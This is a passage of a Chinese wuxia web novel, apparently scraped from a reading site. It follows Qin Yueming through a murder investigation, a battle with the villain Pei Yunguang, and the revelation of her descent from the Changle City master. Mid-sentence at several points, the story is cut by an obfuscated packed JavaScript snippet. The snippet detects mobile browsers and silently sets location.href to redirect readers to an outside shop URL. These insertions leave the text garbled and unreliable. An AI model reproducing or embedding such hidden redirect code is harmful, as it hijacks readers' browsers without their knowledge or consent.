白马寨众人听闻消息,迅速赶来龙驹寨,与武皓商量联手追踪此凶徒,不料好几日一无所获。 寨中命案再起,这次死的是相思明月楼的一位楼主,仍是丧命于斩鲸剑下。 另一边,秦月明也在暗中追查,同样劳而无功。 她心中烦闷,白日扮演小丫鬟也怠惰起来,仗着身负武功早早做完活计,便寻了处偏僻的假山躲起来梳理思绪。 前些天,她依恃轻功鬼魅,已将龙驹寨里里外外翻了个遍,仍未找到丝毫线索,难道这假秦笃是从地里冒出来的不成? “……连自家亲娘都不记得,跟变了个人似的。” “难道是鬼附身?” 假山下传来两个小丫鬟的窃窃私语,秦月明本不欲关注,耳中却捕捉到了两句奇怪的话,顿时心头一动,细细听了下去,眼睛愈来愈亮。 原来是一个新来的小丫鬟有同村表哥早她一年来龙驹寨,在前院当马夫,但她去找这位表哥时,发现他好像不认识自己了,然而前月这位表哥回家探亲时人还是好好的。 秦月明虽是以小丫鬟身份混进龙驹寨,因寨中采买时会检测内力,便并未将目光放在这些不会武功的下人身上。 龙驹寨检测内力,是把脉结合医毒的手法,除她这般内力特殊者,其他人难以浑水摸鱼。 然而,若是直接取代已入寨的下人呢? 想到这个可能,秦月明轻跃而起,飞身向前院。 · 龙驹寨虽名为寨,实则是一座城中之城,亭台楼阁,画栋雕梁,气势恢宏。 寨分前后两院,前院为处理寨务,以及寨中弟子练武生活的地方,后院为武皓及其家眷起居之处,外人不可擅入。 马夫的工作是饲喂马匹,住所临近马厩,不过此时正值白日,马夫们都在外忙碌,几座马夫住所都空无一人。 秦月明站在附近小楼阴影中,抬手放出蛱蝶蛊王,随后从怀中掏出一支青铜簪子,递到蛊蝶面前。 这是秦笃送给她的及笄礼之一,据说与斩鲸剑来自同一座战国大墓。 色彩艳丽的蛱蝶绕簪子飞了两圈,翩然振翅,飞向不远处的一座马棚。 秦月明轻盈跟上,见蛱蝶在其中一个木制马槽上方停下,翩翩飞舞,棚中马儿打着响鼻,踢踏后退,不敢靠近。 她眉心微蹙,打量片刻,小心翼翼地拆下马槽一侧的挡板,便见一柄长剑挤在缝隙中,剑身上的铜绿仿佛一片片斑驳的毒疮,将整柄青铜剑腐蚀得不见半分名剑风采。 秦月明神色一紧,正想将剑取出,刚触及剑身,又犹豫着收回了手—— 凶手尚未落网,此时取剑容易打草惊蛇,就算她在这里守株待兔等来了凶手,将其解决,但真正的秦笃仍背负恶名。 她深吸一口气,将挡板装回原处,想了想,又操纵蛱蝶飞到马儿身旁,马儿如受到猛兽威胁一般,慌乱四跳,嘶鸣不止。 此处响动很快引来旁人注意,秦月明藏身暗处,看着两位马夫安抚马匹,另有几位马夫不远不近地围观。 她注意到,其中一名马夫虽如其他人般做出担忧中带着些幸灾乐祸的神色,视线却总是若有似无地扫向马槽,实在可疑,她记下这位马夫的形貌,飞身离开。 · 又过了两日,苗艺的弟弟赶来带走他的尸体回乡安葬,武皓派出自己的小儿子前去护送,回到房间便摔了茶盏:“该死的秦笃!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12727373|133783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小辈顿觉一阵重力压顶,内功稍弱些的七窍已有稍许血迹渗出。 三位领头人见状,忙顶着压力各施手段,或推或拉,将人送离裴云光的内力影响范围。 秦月明轻轻挥出一掌,把陈书灯也推过去,随后腾身而起,跃到练武场边最高的梅花桩上,挽弓如满月。 赵青山挥刀挡下裴云光的铁链,僵持之中,链上内力透体而入,如一把无形大锤,砸得他胸口闷痛—— 裴云光含怒出手,自是用足了力气。 无形箭矢破空而来,消解铁链上的内力,将其狠狠撞得一歪,劈到一旁,攻势落空。 赵青山一跃而起,落到秦月明身旁的梅花桩上,与她并肩而立,眼中竟淌过若有似无的笑意,仿佛眼前不是盛怒的大魔头,而是街头舞龙舞狮的卖艺者。 裴云光神色更恶,追上前来,内劲一吐,铁链铺天盖地,似巨蟒游蛇,携雷霆万钧之势笼向两人,已然是下了杀招。 秦月明与赵青山对视一眼,一人举弓一人提刀,重重刀光中暗藏鬼魅箭影,织成一片,迎上海魔的铁链牢笼。 “滋——” 旁观的季夏等人恍惚间只听得一阵令人牙酸的恐怖声响,随后“轰隆”一声,定睛一看,便见秦、赵二人已从梅花桩上落下,在练武台上连退了好几步才卸去冲力,顿下脚步。 另一边的裴云光只稍退了一小步,虽胜一筹,眼神中却翻涌出更加浓郁的恶意,那是日趋年迈的熊罴对幼虎的忌惮。 “阿弥陀佛。”趁此空档,清武忙运转起全身内力,高诵佛号,如黄钟大吕,恢弘庄严,周围被这场打斗余波镇压得喘不过气来的小辈恍惚间只觉神志一清,方回过神,大口喘息起来。 不过清武并非只为唤醒小辈,更主要是想阻止三人继续动手:“三位施主,正事要紧!” 他快步走到两方中间,先苦口婆心地劝挑事的海魔:“裴施主,再耽搁下去,万一无忧门听到风声,如何是好?” “那便是你们无能!”裴云光冷声道,不过没有似乎并无继续动手的架势。 清武又转向秦、赵二人,就见赵青山已收刀还鞘,自顾自盘膝打坐,调息了起来。秦月明提弓在一旁护法,眼神都不曾递过来一个。 裴云光也看到了这一幕,身上又有冒火的趋势,清武忙好言相劝,季夏、师焱二人也加入进来,承诺一定在半个时辰内安排好一切,才将人劝走。 待人远去,三人都松了口气,对视一眼,不约而同地露出苦笑,季夏摇着头叹气:“唉,请神容易送神难。” “不请自来的神更难送。”师焱也忍不住道。 没想到这位老前辈如此肆意妄为,将人引来的清武低眉敛目:“阿弥陀佛,是贫僧急功近利之过。” 季夏心头确有两分火气,看到大和尚的脸后都尽消了:“这哪能怪你,先将引蛇出洞的章程定下来罢。” “也不必麻烦,”秦月明不知何时走到了三人身旁,沉着脸道,“便让我去街头露个面,引无忧门之人上钩,你们自在周围埋伏即可,记得做些易容。” 三人略一思忖,又商量了几句,觉得计划愈复杂反而愈容易出问题,如此倒也行得通,便都应承下来。 秦月明看了看正在与陈书灯叙话的赵青山,又看了看地上被裴云光的铁链抽出的痕迹,眼中掠过凶光。 33. 摧残杨柳九秋霜 恒京作为一国都城,天下十分繁华,此处独占七分,花天锦地,接袂成帷。 “你说这是京城最冷清的街道?” 秦月明站在街尾,侧头看向身旁乔装季夏,面无表情。 两人前方街道上,聚集着一大片人,还不时有人从一旁屋顶跃上跳下,一看就是江湖人。 她们在这里停驻的一会儿,已有好几个人暗暗拿出武器,围了上来。 季夏扶额,心念电转,便知眼前情况为何:“听说近日陛下将金吾卫交由武阳郡王操练,这位殿下新官上任三把火,严令金吾卫紧密巡逻,防止……咳,江湖人闹事,好些没处住的江湖人都只能流落到这里了。” 此处名为焚熏街,街尾有一座巨大的炉子,是专门处理京中废弃之物的地方,长年萦绕着一股异味。若不是为避免与魔教妖人动手时误伤无辜,季夏也不会带秦月明到这里来。 秦月明听着身后愈来愈近的脚步声,反手取弓搭箭,对街道上的人道:“离开,否则后果自负。” 强横的内力翻涌而出,沉甸甸地压在众人头上,本面露不满的人瞬间老实,一个比一个乖巧,在季夏的指示下从街尾绕路离开。 也有死活不走的人,秦月明与季夏都不理会,季夏小声问道:“还在么?” 秦月明点点头。 “他们难道看不出这是陷阱?”虽然敌人落网是好事,季夏总觉得纳闷。 “也许他们有后手,又或许,”秦月明转身对上来者,看着领头之人眼中的欣喜若狂,心头一片平静,“他们是疯子。” 从热闹的东大街跟踪秦月明至此的共有十五人,为首者脸色苍白,却是细眉修目,别有一番阴柔之美。 其余十四人也是各具美感,从四周包围上来的清风社社众被他们一衬,大都显出几分歪瓜裂枣来。 秦月明懒得听季夏带头与对面打嘴仗,默默将目光挪到旁边的义父女身上,清爽眼睛。 赵青山莫名觉得她情绪不对,眉心微皱,低声唤道:“秦月明?” 陈书灯投来惊讶的目光,但秦、赵二人都未曾将注意放到她身上。 秦月明听出赵青山语气中的关切,眸光一颤,轻轻呼出一口浊气,道:“我大概……要变成过街老鼠了。” 赵青山眼中浮出浅浅的疑惑,不待他发问,便听场中铮然声响,原来骂仗环节已过,要真正动手了。 季夏、清武和师焱三人身先士卒,禅杖、披帛与长剑齐出,不约而同地冲向领头的男子。 另一些人则对上其他的无忧门门众,却见原本站作一团的人倏然散开,在战局中游走,一阵阵迷心乱神的铃铛声四下回荡,隐隐相和。 与季夏三人打斗的男子的手足、颈项也传出带有奇特韵律的铃铛声。 一群散在外围,迟迟没有加入战局的清风社人见状,立即取出乐器,吹奏《山鬼歌》。 早在两方人马对峙之时,周围的居民百姓便已见势不对躲了起来,此时隔着门窗,只闻兵戈声后,就是一片群魔乱舞般的糟乱之音,有铃铛声、鼓声、笛、琴声……这些本该悦耳的乐声交织在一起,却成了折磨耳朵的魔音。 不少人都忍不住捂住耳朵。 不一会儿,其他乐声渐次低落,铃铛声愈发高亢。 《山鬼歌》既出,无忧门自然不会坐以待毙,眼下这乐阵想必就是他们应对之策,看起来也的确有用。 季夏强忍脑海中的恍惚浑噩,大声催道:“秦月明!” 秦月明幽幽叹了一口气,脑中过了一遍方才的听到的乐阵和声,视眼前重影若无物,横笛吹奏,幽咽悠远的笛声如平缓的水波,和着鬼魅冥冥的内力,缓缓淹没场中的铃铛之声—— 一曲定乾坤。 无忧门领头的男子——方才骂仗之时他自称蔡琥珀,被清风社社众五花八门押走之时,回头深深看了秦月明一眼,似有千言万语。 秦月明恍若未觉,看向师焱:“裴云光呢?” 师焱对她直呼大魔头名字没有任何反应,回答道:“他嫌人少,跟踪中途溜走的魔教妖人去了。” 季夏心疼地吹着披帛上的破洞走了过来,道:“据王更明抓到的小喽啰交代,这次潜回中原的无忧门妖人共有三四十之众,其中三位长老,五位护法,远不止这里这点儿,海魔前辈此番前去,应该能有所收获。” 清武口诵佛号,道:“只望裴施主能稍顾大局,留些活口问话。” “只怕难。”季夏道,师焱也跟着摇头。 “说起来,你们有没有觉得这些人落网得太轻易了?”季夏总觉得有些不对劲。 师焱利落道:“兵来将挡水来土掩,无论如何,不能任由这些妖人在外作乱,残害无辜。” · 出乎众人意料,一直表现得杀气腾腾的裴云光竟然真的带回了两个俘虏,活的,还能说话的。 清风社众人看着地上血葫芦似的人,不太敢动作,裴云光见状,喝道:“还不将人拖下去,小和尚他们呢?” “我们这边埋伏抓住的是无忧门的大长老,据说在魔教里声望很高,无尘禅师、石剑前辈和季仙子一起去审讯了。”一名小剑客回答道。 “大长老,”裴云光兴味盎然,“正好,这两个也是什么长老,带过去,一起审问。” 慑于他的凶名,无人敢多说什么,之前那答话的小剑客默默拽过好友,各提了个血葫芦,将海魔带到地牢—— 虽然不知道横行客一座用来储酒的园子里为什么会有地牢,也没人敢说,没人敢问。 一行人沉默地进了地牢,却只见师焱带着招摇山庄弟子在,季夏与清武斗不见踪影。 “裴前辈。”看到裴云光,师焱放下鞭子,一板一眼地打招呼。 裴云光点点头,饶有兴致地看着刑架上浑身血迹斑斑的蔡琥珀,半晌一拊掌,森然笑道:“我记得你,你是伺候陈花饶的那个阴阳人。” 受刑半晌,都不发一言的蔡琥珀抬头看来,回想片刻,呵呵笑道:“原是裴帮主,失敬失敬,多年不见,裴帮主老了许多,想是为令爱操碎了心罢?” 逆鳞被触,裴云光瞬间沉下脸,扼住蔡琥珀的脖颈,狠声道:“你找死!” 他身上的杀气有如实质,扼在颈项上的手如铁箍,再用一分力便能将蔡琥珀的颈骨捏碎,不消片刻,蔡琥珀便已脸色青紫,他却好似感受不到,眼中甚至浮现出愉悦的意味。 “裴前辈,”师焱与弟子手忙脚乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12741136|133783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地拦人,虽不知内情,看裴云光的情状,说话也万分谨慎,“前辈与无忧门既有深仇,需留此人性命,将这群妖人一网打尽,方能更解前辈心头之恨。” 在另一边审讯小喽啰的季夏与清武接到消息,急忙赶过来,最后是深知内情的清武劝得裴云光松了手:“裴施主,莫忘了赵神医所说的治本之道。” 他们从翻雪门离开之时,已试着治疗那十三个榴宫旧人的赵困雪又提出一个治疗方法,那便是将曾经的长乐城余孽送到受害人面前处决,以慰其心,或可治本。 正因如此,裴云光问出那两个长老是曾经的长乐城之人后,才未下狠手,而是将人活着带了回来。他迟迟不对蔡琥珀下杀手,也是因还记得赵困雪的话。 清武此劝正给了裴云光台阶,他冷哼一声,将已出气多入气少的蔡琥珀扔开,阴狠地看了他一眼,转身负手出了牢房。 在场之人都松了一口气,季夏看了半死不活的蔡琥珀一眼,又看了看另两个都已神志不清的血葫芦,头疼地揉了揉额角:“这都什么事儿啊?找个大夫,给他们治治,别让人死了。” 浮来春园好歹是赵青山的产业,地牢中乱哄哄闹成一团,自有人来禀告消息。 赵青山将一碗黑乎乎的药汁一饮而尽,道:“如此说来,清风社人抓到了,却还什么都没问出来?” “倒是从其他无忧门妖人嘴里问出了些东西,但都是小喽啰,知道的事情不多,还是审那三个长老,可是三人现在都不清醒。”管家汇报道。 “如此,”赵青山沉吟片刻,道,“当初秦月明抓的那姓宋的不是什么长老亲孙子么,把他送去给清风社。” 管家应下,小心问道:“另外几个如何安排,他们被同伴的下场吓破了胆,情志有些不正常,大夫们都束手无策。” 赵青山曾中剧毒,勉强活过来后精研医道,好容易才重新恢复康健,却向来没有为他人看诊的心思,管家这一提,倒使他想到在翻雪门中的见闻,道:“送去翻雪门,给赵困雪。” · 一群人脚步杂乱地从练武场外过,秦月明瞥了一眼,面露讶色:“李老三?” 那几名被浮来春园侍卫押送的,竟是她在巴山城时遇到的“巴山派”之人。 “女侠,女侠!”李老三看到秦月明,眼中爆发出极亮的光芒,拼命扑过来,口中大喊道,“救命,我不想死,我不想死!” 被侍卫拦下后,他突然瘫在地上,号啕起来,涕泗横流,看起十分绝望的模样。 “怎么回事?”秦月明看向后方慢腾腾走来的赵青山。 “又是无忧门造的孽罢了。”赵青山变戏法似的从背后拿出一本小册子递过来,“无忧门给他们吃的‘丹药’实质上是一种蛊虫,这些人毫无根基,蛊虫提供的内力只会对他们的身体造成无法挽回的伤害。” 至于是何伤害,秦月明已从册子上看到了: ……此蛊于寿数有碍,如今估计……李老三……寿数约余两载……李四方……寿数约余一载半…… 秦月明翻开最后一页,却是单独记载的一条讯息: 姜丰登,巴山城外七水村人,家中独子,先天体弱,无意中嗅到引蛊之物,爆体而亡,时年十八。 34. 我本淮王旧鸡犬 秦月明阅完册子,看向李老三等人,叹了一口气:“你准备如何处置他们?” 赵青山将打算托出,道:“赵神医醉心医道,想必对这些人的情况有兴趣。” “他最近只怕有些忙,”秦月明目光闪烁,道,“不过他徒弟多,应该忙得过来。” 赵困雪一共收了二十多名亲传徒弟,其中大部分都已离山,带着门下弟子云游四方,到处义诊去了,只留了张杏儿与陆曦帮忙打理门派事务。 不过秦月明等人离开之前,赵困雪自觉分身乏术,已传讯召了几名弟子回山来帮忙。 秦月明从怀中掏出一块翻雪令,道:“带着这个去。” “江湖中人人求翻雪令而不得,你倒好,信手拈来。”赵青山抬手接过,感慨一句,又调侃道,“此次若再被人拿去栽赃,你待如何?” “既是在你的人手上丢的,我自然找你。”秦月明眼也不眨道。 “听到了么?”赵青山将令牌抛给侍卫队长,道,“把事情办得漂亮点,否则你主子我可要遭罪了。” 他眸色明朗,话中带笑,秦月明恍惚间似乎看到那个整天上蹿下跳、没个正行的少年沈潜,不由神情一舒,眉眼微弯。 而那侍卫队长不意素来冷面冷语的主子还有开玩笑的一天,简直是诚惶诚恐,仿佛见了鬼,险些没接住令牌。 见赵青山没有其他吩咐,一腔注意只在金仆姑身上,队长急忙赶鸭子似的赶着属下,带着李老三等人飞奔而去。 一溜儿人匆匆离开的杂音将秦月明唤回神,她看着踉踉跄跄的李老三几人,眸中闪过不忍。 赵青山一眼便看出她情绪低落的缘由,立即抛出之前地牢中混乱转移她的注意。 “审讯之事不知推迟到了何时。”秦月明心情有些复杂。 《山鬼歌》刚出之时,无忧门在中原的势力还算完整,若想报复早就动手了,何必等到今日,再看之前那蔡琥珀的态度,她心头已有几分猜测。 以秦月明的记忆力,当然记得蔡琥珀,他是陈花饶手下的一条疯狗,视陈花饶如神明,就算陈花饶让他去死,他也会眼也不眨地自戕,也许在此之前还会高兴地问陈花饶想让他怎么死。 当初长乐城破,陈花饶见势不对,便命令蔡琥珀带走陈姜,继续他们的“大业”,若不是仙客见陈姜样貌熟悉,横插一手…… 秦月明握紧弓臂,掌心被硌得生疼,这疼痛如火灼冰浇,从手掌一路蔓延到她的脑海,搅得她头痛欲裂,却奇异地让她冷静了下来。 做白马寨寨主的十多年,并不是一帆风顺的,她已惯于未雨绸缪,早在从庄不周口中再次听到“长乐城”这个地方,或者更早,在飞凤桥上听到那位“竹观音”对着她唤出陈花饶的名号时,她心里便有了身世暴露的准备。 中间经历那么多的波折,她做足了心理铺垫,又有秦笃与沈家灭门案的真相在另一边钓着,此番事到临头,她竟丝毫不觉畏怯,只是有些怅然。 年少时分,秦月明为身世所耗,辗转反侧,纵然后来消解了些许心结,仍将此视作平生最大的污点,一想到若为人知,便觉天塌地陷。 但时过境迁,秦月明长到如今年岁,历经世事,尤其是在沈氏夫妇身亡之后,她便醒悟过来,天有不测风云,人有旦夕祸福,若她沉溺于自我鞭笞,只会留下更多遗憾,自此,她对身世之事,已看淡许多。 只有一点,她看向赵青山,为避人耳目,也为防人多泄密,沈有思夫妇并未告诉沈潜任何关于秦月明身世的事。 想到此处,秦月明垂下眼眸,本平静下来的心绪微微泛起波澜,忐忑顿生。 “秦月明?”赵青山当然察觉得出秦月明的走神,连说了好几串话都只得到一个敷衍的鼻音后,他终于忍不住拔高了声调,将她不知道跑到哪里的魂儿唤回。 哪知秦月明回神之后面上不见丝毫愧色,只淡淡瞥过来一眼。 赵青山默默放缓语气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12746425|133783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关切道:“你神思恍惚,是为何事,可需我帮忙?” 秦月明回想了一下某人回来后的作风,又忆起他在江湖上的风评,那点忐忑便消了,一挽长弓道:“是一件也许能阻止,但不必阻止的事,石头落地总比一直悬在半空好。” 话毕,她便跃回练武场中,继续练箭,徒留赵青山在原地,听她一番没头没脑的话后一头雾水。 片刻后,秦月明再抬头,见他立在场下,眼中犹带茫然之色,不由一笑,道:“你若真想帮我,便尽快养好伤罢。” 纠缠了她整个少年时光,甚至因此造就她毕生之憾的噩梦将要变作现实,秦月明却是无端亢奋,甚至期待它快点来了。 只希望到时候赵青山不要太过惊讶才好。 明明在渝州之时,沈潜曾疑她品性,对她频频口出恶言,如果她的身世当真曝光,岂不是又给对方添了由头。但不知为何,秦月明却毫不怀疑,若自己真成为江湖公敌,对方一定会站在她这一边。 · 赵青山伤势本不算重,兼之他精通医术,又身家豪富,不缺珍药,将养三日,便已痊愈。 反而是俘虏一边,蔡琥珀等人伤势沉重,众人又不可能舍得给他们用好药,一连几日,都不见好。 惹得给他们治病的大夫都有些怀疑自身医术了。 师焱在外追索漏网之鱼,清武是出家人,慈悲为怀,不可能摧折伤患,倒是季夏总隐隐觉得不对劲。 · 深夜,浮来春园,地牢。 一阵颇有韵律的铁链敲击声缓缓回荡开来,周围值守的江湖中人本就有些疲倦,这阵声音入耳后,只觉神志恍惚。 不一会儿,关押蔡琥珀的牢房便被神情呆滞的守卫打开,蔡琥珀神态自若地走出牢门,拽下守卫腰间的陶埙,吩咐道:“金仆姑住在哪里,带路。” 其中一名守卫默默站出来,在前方引路。 蔡琥珀吹响陶埙,将众人蛊惑更深。 35. 小荷才露尖尖角 蔡琥珀看似对秦月明恭恭敬敬,有问必答,但并没有透露多少有用的消息。 秦月明想要问到更多的情报,蔡琥珀却咬死话头,一心要将秦月明带去东南,继承陈花饶留下的“大业”,两人互不相让,一时僵持了下来。 院中树影无风自摇,婆娑作响,蔡琥珀眼神一利,立即起身站到秦月明身侧,厉声喝道:“什么人?出来!” 四周寂静了一瞬,随后一片窸窣声中,三道人影从树上、墙上跃下,其中一人的光头在烛光下分外显眼。 秦月明轻轻叹了一口气,唤道:“季夏、清武大师、师庄主。” 三位清风社领头之人的面上俱是惊疑不定,同时又有几分各不相同的情绪,季夏与秦月明交情颇深,神情中难免带出两分担忧纠结; 清武与长乐城孽缘深重,面对这位曾经的长乐城少城主,眉宇间难掩冷厉恨色; 师山倒是与秦月明渊源不深,作为一方正道魁首,他已警惕地拔出了剑。 “秦月明,你,真的是陈花饶的女儿?”季夏仍想作最后的挣扎。 方才秦、蔡两人的对话,真要辩解起来,也可以说是秦月明为套话假冒身份,与蔡琥珀虚与委蛇…… 虽然二人对话中诸多隐秘非外人能知,虽然…… 秦月明开口,击碎了她的自欺欺人:“我是。” 一旁的蔡琥珀眼中掠过一抹暗光,却听秦月明淡声道,“但陈花饶是陈花饶,我是我。” 在场几人听到此话俱是一呆,面露错愕。 自古以来,忠孝便是人伦大德,无论父母尊长为人如何,子女晚辈都有尽孝尽忠的责任,大义灭亲者终究只是少数。 前朝就有一位江湖名侠遭魔教出身的父母胁迫,卧底正道,害死了好几位武林前辈,为魔教扫清障碍,若非后来事情败露,此人还可能成为当时的武林盟主,假借对抗魔教之名,行戕害正道之实。 前车之鉴在此,季夏三人才会对曝光身世的秦月明如临大敌。 但秦月明与陈花饶切割关系的一句话,又让季夏眉眼一亮。 不待她说话,蔡琥珀先激动地嚷嚷起来:“少城主,娘娘是您的亲生母亲,你岂能如此不敬,直呼其名!” 秦月明看也未看他一眼,对季夏三人继续道:“我身负陈花饶的血脉,这是无可更改的事实,天下没有不透风的墙,与其等知情|人来威胁我,还不如我自己坦白。” “从八岁起,我与长乐城便再无瓜葛。”秦月明神色坦然,“我知道,我的存在于曾受长乐城迫害之人来说便是一种伤害,他们若想报复,我不介意,但我不会束手待毙。” 季夏小声嘀咕:“那这谁能报复成功?” 遂与师焱不约而同地将目光转向清武。 清武不知如何自我开解了一番,面上冷色已消,恢复镇定,道:“阿弥陀佛,贫僧有几个问题想要请教施主。” 秦月明抿了抿唇,道:“请。” “施主在长乐城中,可曾作恶?” “不曾。” “施主对长乐城余孽动向是否知情?” “不知。” “无忧门之事可有施主插手?” “《山鬼歌》算么?” 清武默然片刻,垂眸再次诵了一句佛号,道:“冤有头债有主。” 秦月明无言地欠了欠身。 “道理谁都懂,但并非每个人都如无尘禅师这般心胸宽广,豁达通透。”季夏有些忧郁,对秦月明道,“事关重大,我们不可能跟其他人隐瞒你的身世,明日就是武林大会……总之,你……做好准备罢。” “方才你们所说的‘大业’是什么?”两位同伴表态完毕,师焱开口问道,眉头紧皱。 另两人完全被秦月明的身世吸引了注意,听到师焱的问题后才想起此事,神情都是一肃。 无论是在江湖还是庙堂,能称得上“大业”的都牵连甚广,一个不小心,便成浩劫。 尤其这个“大业”还继承自陈花饶的遗志,由长乐城余孽筹备多年,让人一听便觉不祥。 “少城主!”几人你来我往,蔡琥珀根本插不上话,此时见秦月明神情微动,再也站不住了,咬紧牙关,语气急促道,“知道太多,对他们来说可不是好事。” 秦月明眼尾一垂,正欲开口,猛地眉头一皱,看向院外。 “少、城、主?”一道人影落下,一字一顿重复蔡琥珀的称呼,语气阴森,周身内力暴动,震得铁链哗啦作响—— 是裴云光。 · “好戏开场,最重要的观众怎么不在怎么行?” 飞耳阁总阁,一间抱厦内,一位同常凤歌面容有几分相似的妇人在棋盘上轻轻落下一颗棋子。 与她对弈的正是常凤歌,他神色恭顺,听了妇人的话后,眼神微动,道:“无忧门分裂之事,竟是母亲的手笔?但之前我们不是还襄助过他们么?” 妇人——常凤歌的亲生母亲常芜闻言,乜了他一眼,道:“你也说了,那是之前,一力促成此事的总阁主遭了申斥,风向变了。” 常凤歌恍然中又生出新的疑惑:“那您为何还要遵守总阁主之前的命令,继续对付秦月明呢?” “谁说我要对付的是秦月明?我只是想让事情闹大,愈大愈好。”常芜意味深长道,突然提起一件看似风马牛不相及的事情,“你知道当今曾有一位同胞姊姊么?” “那位在齐王叛乱中丧生的镇国公主?” · “陈花饶,长乐城城主。”裴云光慢条斯理地取下身上的铁链,语气中有一种奇特的冷静,“秦月明,长乐城少城主。” 季夏揪着另外两人的衣服一角,轻手轻脚地往后退,暗暗传音:“完了完了,海魔疯了。” 师焱要镇定些:“海魔前辈与长乐城到底有何恩怨?” 清武:“阿弥陀佛。” “私人恩怨,与人无尤,你们走罢,无忧门之事我会解决。”秦月明突然向季夏传音道。 季夏看了看明显暴怒,准备动手的裴云光,又看向表情平淡的秦月明,重重跺了跺脚,“唉”了一声,转向师焱和清武:“走,不是我们能插手的事儿。” 三人的身影渐渐被夜色吞没,看似已失去理智的裴云光突的冷笑一声,提着铁链看向房顶,道:“怎么,你不走,又准备站到这个妖女一边?” 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960608|133783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条人影沉默地从房顶跃下,径自走到秦月明身旁,面对裴云光,一只手握上刀柄,回护的姿态不言而喻。 “很好!”裴云光不再废话。 若说先前练武场中一战,他还留有一份力,此刻在愤怒与仇恨的驱使下,他出手便没有了丝毫余地,暴烈的内力肆意鼓荡,气势澎湃,几乎将屋内的三人镇压得动弹不得。 铁链凌空飞舞,铺天盖地一般袭向三人。 长弓横刀携内力默契相撞,将海魔的内力压迫碰荡开来,随后两人同时跃起,冲破屋顶飞到院中。 裴云光手臂一绷,铁链毫无滞涩地回转,紧追不舍地卷向秦月明。 “噗咳咳。”被其他三人忽视了个彻底,就连遭遇的攻击都是顺带,蔡琥珀脸色难看地挥去眼前的灰尘,正见到秦月明受袭,登时惊呼出声,“少城主小心!” “铛!”“哐!” 铁链尾卷到了弓臂之上,后面一截被横刀勾住,不得寸进。 长长的铁链连接着三人,内力激荡间,谁都没有收手的架势。 蔡琥珀见状,双眼一亮,掌中积聚起一团阴寒的内力,毫不犹豫拍向裴云光后背。 被俘虏只是他计划中的一环,被清风社散去功力自然也是假象。 裴云光自然不会真的视蔡琥珀为无物,在他出手时便攥紧了铁链,不待人近身,侧身一踹,但踹了个空。 蔡琥珀躲开他的腿风,将内力胡乱拍出,腾身翻至秦月明身侧。 秦月明与赵青山对视一眼,趁裴云光这一分神,内力呼啸而出,通过铁链袭向对面。 “嘭!” 裴云光的内力倾泻而出,消解掉两人的攻势,却再也支撑不住铁链,反手将其收回,重重拍到了一旁的墙上。 随着一声巨响,铁链在墙上砸出一道蜿蜒的沟壑,砖块木屑簌簌而落。 秦月明退了半步,瞄了一眼园子其他地方陆续亮起的烛火,眉眼轻垂,挽弓凝聚内力,一道道无形利箭射向裴云光。 海魔周身鼓荡的内力将箭风一一消解,攻势稍缓。 趁这一耽搁,秦月明足尖一点,如白鹤般轻盈,又如隼鸟般迅疾,向后飞去,融入夜色,竟是打算脱身而去—— 若裴云光是因其他缘由出手,秦月明自不会如此自甘退缩,但他携仇恨而来,秦月明自觉理亏,既不想丧生于此,又不想和他生死相搏,只能如此。 裴云光自不会眼睁睁看着她逃走,飞身紧追不舍,铁链带着足以削铁摧骨的力道劈了过去。 “少城主!”蔡琥珀再次惊叫,合身一扑,飞快挡在秦月明面前,下一刻就被铁链劈中,从秦月明身侧倒飞了出去,口吐鲜血,脸色惨白。 秦月明动作没有丝毫停顿,看都未看蔡琥珀一眼,只朝留在原地的赵青山望了望,随后向前方的铁链连挥出几掌,借力飞得更快更疾,很快便出了浮来春园。 若比功力,秦月明自是不如裴云光这等已入化境几十年的老前辈,但论起轻功造诣,却是要胜过许多。 这一追一逃,一路到了城郊,两人之间的距离不断拉大,最后秦月明钻入一座茂密的山林,在树间几个起落,便彻底摆脱了裴云光的追逐。 36. 惊涛汹涌向何处 蔡琥珀逃出浮来春园地牢,来寻秦月明时是后半夜,之后再一番折腾,待秦月明在山林中寻了个地方安定下来,天边已泛起鱼肚白。 